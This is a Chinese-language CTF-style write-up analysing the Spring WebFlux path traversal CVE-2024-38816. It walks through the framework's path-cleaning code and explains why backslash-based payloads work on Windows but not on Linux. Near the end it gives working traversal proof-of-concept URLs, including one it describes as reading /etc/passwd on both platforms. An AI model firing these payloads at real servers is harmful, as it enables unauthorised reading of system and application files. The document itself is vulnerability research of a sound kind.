前言
在这个路径穿越CVE-2024-38816流出来的payload中基本都是在Windows平台上调试分析的,但是到了Linux平台上,对于路径的处理会有些区别,导致会穿越失败
漏洞定位
基本位于对网站的路由配置下
WebConfig.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
package org.ota.config;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.core.io.FileSystemResource; import org.springframework.web.reactive.function.server.RouterFunction; import org.springframework.web.reactive.function.server.RouterFunctions; import org.springframework.web.reactive.function.server.ServerResponse;
@Configuration public class WebConfig { @Bean public RouterFunction<ServerResponse> route() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static")); } }
|
其作用一句话概括,就是把/static路由下的资源请求映射到本地文件夹目录/app/static去处理
Windows下的路径处理分析
漏洞分析
在这里我们有两种方式去定位到路径的关键处理类
- 事后诸葛亮,直接去diff一下修复的代码,就能比较快定位到处理类
- 通过回溯帧,打印调试信息等手段找到处理函数
这里还是希望可以通过一个漏洞挖掘的角度去定位这个漏洞点
步入RouterFunctions.resources打下断点

接着去请求/app/static下本地真实存在的文件,即可进入断点(这里我使用的路径是E:// Windows的形式)

回溯帧定位到URL处理相关类PathResourceLookupFunction

这里有很明显的对路径的处理,比如校验是否存在..或者WEB-INF什么的

然后在这里打每个方法上打上断点,看看第一次请求会请求到哪
请求后可以看到走到了我们的apply函数,并且参数就是我们的request,带着我们访问的路由信息

先看第一部分
1 2 3 4 5 6
| PathContainer pathContainer = request.requestPath().pathWithinApplication(); if (!this.pattern.matches(pathContainer)) { return Mono.empty(); } else { pathContainer = this.pattern.extractPathWithinPattern(pathContainer); String path = this.processPath(pathContainer.value());
|
从我们/static/1.txt取出/static/之后的字符串,然后使用processPath对它进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| private String processPath(String path) { boolean slash = false;
for(int i = 0; i < path.length(); ++i) { if (path.charAt(i) == '/') { slash = true; } else if (path.charAt(i) > ' ' && path.charAt(i) != 127) { if (i != 0 && (i != 1 || !slash)) { path = slash ? "/" + path.substring(i) : path.substring(i); return path; }
return path; } }
return slash ? "/" : ""; }
|
这个 processPath(String path) 方法可以总结为:剔掉路径开头一串无效字符,只保留从第一个“有效字符”开始的部分,并在前面加上斜杠 /(如果原路径里有斜杠)
逻辑拆解
- 初始化
slash = false。
→ 标记是否遇到过斜杠。 - 遍历字符串每个字符:
- 如果遇到
'/' → 设置 slash = true(记下曾出现过斜杠)。 - 如果遇到非控制字符(
> ' ' 且不是 127),说明这是第一个“有意义”的字符:- 情况 A:这个字符不是第一个字符,且前面不是“单个斜杠”。
→ 如果之前出现过 /,就在结果前面补一个 /,然后截掉前面无效部分。
→ 否则直接截掉前面无效部分。 - 情况 B:这个字符就是第一个(或仅有一个前导
/)。
→ 直接返回原字符串。
- 如果循环结束还没找到有效字符:
- 如果曾出现过斜杠,返回
"/";否则返回空串 ""。
处理完到第二部分,也就是如果我们的url有%就对它进行urlencode
1 2 3
| if (path.contains("%")) { path = StringUtils.uriDecode(path, StandardCharsets.UTF_8); }
|
再看第三部分,也就是校验部分和读取部分,也就是说如果过了StringUtils.hasLength(path) && !this.isInvalidPath(path)的校验,就去关联我们的本地文件
1 2 3 4 5 6 7 8
| if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) { try { Resource resource = this.location.createRelative(path); return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty(); } catch (IOException ex) { throw new UncheckedIOException(ex); } }
|
先看这两个校验如何通过,首先hasLength是肯定可以通过的,主要是isInvalidPath,我们这里是想要让他返回false
1 2 3 4 5 6 7 8
| private boolean isInvalidPath(String path) { if (!path.contains("WEB-INF") && !path.contains("META-INF")) { if (path.contains(":/")) { String relativePath = path.charAt(0) == '/' ? path.substring(1) : path; if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) { return true; } }
|
首先是我们/static/后面的字符串不能包含WEB-INF和MATA-INF然后是检测第一个字符串是不是/是就去掉,或者是以各种协议开头,比如file://,http://就ban掉,还有一个特殊的url://
1 2 3 4 5
| if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) { return true; } else { return false; }
|
然后最后就是检测目录穿越的..和../了,但是这里的../的检测之前先做了一个cleanPath的处理,问题就出现在这个函数上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public static String cleanPath(String path) { if (!hasLength(path)) { return path; } else { String normalizedPath; if (path.indexOf(92) != -1) { normalizedPath = replace(path, "\\\\", "/"); normalizedPath = replace(normalizedPath, "\\", "/"); } else { normalizedPath = path; }
String pathToUse = normalizedPath; if (normalizedPath.indexOf(46) == -1) { return normalizedPath; } else { int prefixIndex = normalizedPath.indexOf(58); String prefix = ""; if (prefixIndex != -1) { prefix = normalizedPath.substring(0, prefixIndex + 1); if (prefix.contains("/")) { prefix = ""; } else { pathToUse = normalizedPath.substring(prefixIndex + 1); } }
if (pathToUse.startsWith("/")) { prefix = prefix + "/"; pathToUse = pathToUse.substring(1); }
String[] pathArray = delimitedListToStringArray(pathToUse, "/"); Deque<String> pathElements = new ArrayDeque(pathArray.length); int tops = 0;
for(int i = pathArray.length - 1; i >= 0; --i) { String element = pathArray[i]; if (!".".equals(element)) { if ("..".equals(element)) { ++tops; } else if (tops > 0) { --tops; } else { pathElements.addFirst(element); } } }
if (pathArray.length == pathElements.size()) { return normalizedPath; } else { for(int i = 0; i < tops; ++i) { pathElements.addFirst(".."); }
if (pathElements.size() == 1 && ((String)pathElements.getLast()).isEmpty() && !prefix.endsWith("/")) { pathElements.addFirst("."); }
String joined = collectionToDelimitedString(pathElements, "/"); return prefix.isEmpty() ? joined : prefix + joined; } } } }
|
我们的主要目的就是输入一个../这样的穿越路径但是经过cleanPath却不含../,又因为这个判断是通过&&连接的,所以只要让后面这个cleanPath处理过后的字符串不包含../即可绕过
最主要的两个处理部分就是
第一部分
如果检测到了\\或者\,会把它转换为/
1 2 3 4 5 6
| if (path.indexOf(92) != -1) { normalizedPath = replace(path, "\\\\", "/"); normalizedPath = replace(normalizedPath, "\\", "/"); } else { normalizedPath = path; }
|
第二部分
主要作用就是把我们的路径去冗化,比如说一个路径dog/cat/../aj其实表示的就是dog/aj
这部分做的就是这个事情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| String[] pathArray = delimitedListToStringArray(pathToUse, "/"); ... int prefixIndex = normalizedPath.indexOf(58); String prefix = ""; if (prefixIndex != -1) { prefix = normalizedPath.substring(0, prefixIndex + 1); if (prefix.contains("/")) { prefix = ""; } else { pathToUse = normalizedPath.substring(prefixIndex + 1); } }
if (pathToUse.startsWith("/")) { prefix = prefix + "/"; pathToUse = pathToUse.substring(1); }
String[] pathArray = delimitedListToStringArray(pathToUse, "/"); Deque<String> pathElements = new ArrayDeque(pathArray.length); int tops = 0;
for(int i = pathArray.length - 1; i >= 0; --i) { String element = pathArray[i]; if (!".".equals(element)) { if ("..".equals(element)) { ++tops; } else if (tops > 0) { --tops; } else { pathElements.addFirst(element); } } }
if (pathArray.length == pathElements.size()) { return normalizedPath; } else { for(int i = 0; i < tops; ++i) { pathElements.addFirst(".."); }
if (pathElements.size() == 1 && ((String)pathElements.getLast()).isEmpty() && !prefix.endsWith("/")) { pathElements.addFirst("."); } ... String joined = collectionToDelimitedString(pathElements, "/");
|
第一种绕过方式
既然dog/cat/../aj可以变成dog/aj,是不是就是把我们的../绕过了,所以就会把第二个判断条件判为错从而绕过
那么我们要想怎么构造多点的..呢?因为这个函数delimitedListToStringArray会把我们的字符串按/切割,但是这里空字符也会算进去
也就是说a///会被切割为['a','','',''],所以这是我们就想构造dog////cat/../../aj让他变成dog/aj但是由于最开始的processPath会一开始就把路径处理为dog/cat/../../aj所以最后还是穿不出去
所以就要借助第一部分将\转为/的机制
payload就是/static/%5c/%5c/../../xx.txt

相当于我们是这样去读取我们的目录的
1
| cat E:\1CTFDB\chanllenge\2025CISCN-final\awdp-web-ota\ota\\/\/../../xx.txt
|
因为Windows的路径处理中,\和/都会被解析为正确的路由分隔符,所以可以被正确解析

第二种绕过方式
第二种绕过方式比第一种更加巧妙,不需要借助\去绕过cleanPath的检查,只需要/即可
payload如下
1
| /static/%2f/%2e%2e/%2f%2e%2e/flag.txt
|
根据上面分析,因为cleanpath会把一个/..吞掉,然后proceess之后才对url进行解码,所以直接绕过了
最终两个POC
只能Windows环境下使用
1
| /static/%5c/%5c/../../xx.txt
|
Windows和Linux通杀
1
| /static/%2f/%2f/%2e%2e/%2f/%2f/%2e%2e/etc/passwd
|
Linux下的路径处理分析
在linux启动远程debug

一样走进刚刚的断点

发现最后确实是返回的false且返回的路径和Windows一致
但是是404

我们继续跟进绕过判断后的读文件逻辑

跟进发现这里拼接的路由是对的

在这创建了File对象并且返回这个地址

最后到这行再步入就进不去了
1
| return this.file != null ? new FileSystemResource(pathToUse) : new FileSystemResource(this.filePath.getFileSystem(), pathToUse);
|
最后是通过FileSystemResource传入pathToUse去读文件的,这里的pathToUse也完全符合我们的预期,但是还是读不了

其实就是因为在linux中\并不会被当做分隔符而是会当做一个正常字符
于是这里调用了FileSystemResource的isReadable()发现如果不目录穿越正常读static目录下的文件返回值是true,如果是刚刚的payload返回值是false
1 2 3
| public boolean isReadable() { return this.file != null ? this.file.canRead() && !this.file.isDirectory() : Files.isReadable(this.filePath) && !Files.isDirectory(this.filePath, new LinkOption[0]); }
|
这里的this.file就是我们上面提到的用我们的/opt/static/\/\/../flag初始化的file对象,结果是不可读的
所以我们就找到问题所在了,在Linux中我们使用这样的payload初始化file对象,是找不到我们要穿越的文件的
我们不妨先在命令行测试payload,因为归根结底就是因为linux不会把\识别为分隔符而是会识别成一个文件夹\

所以我们的第一个POC是打不通的,只能使用第二个POC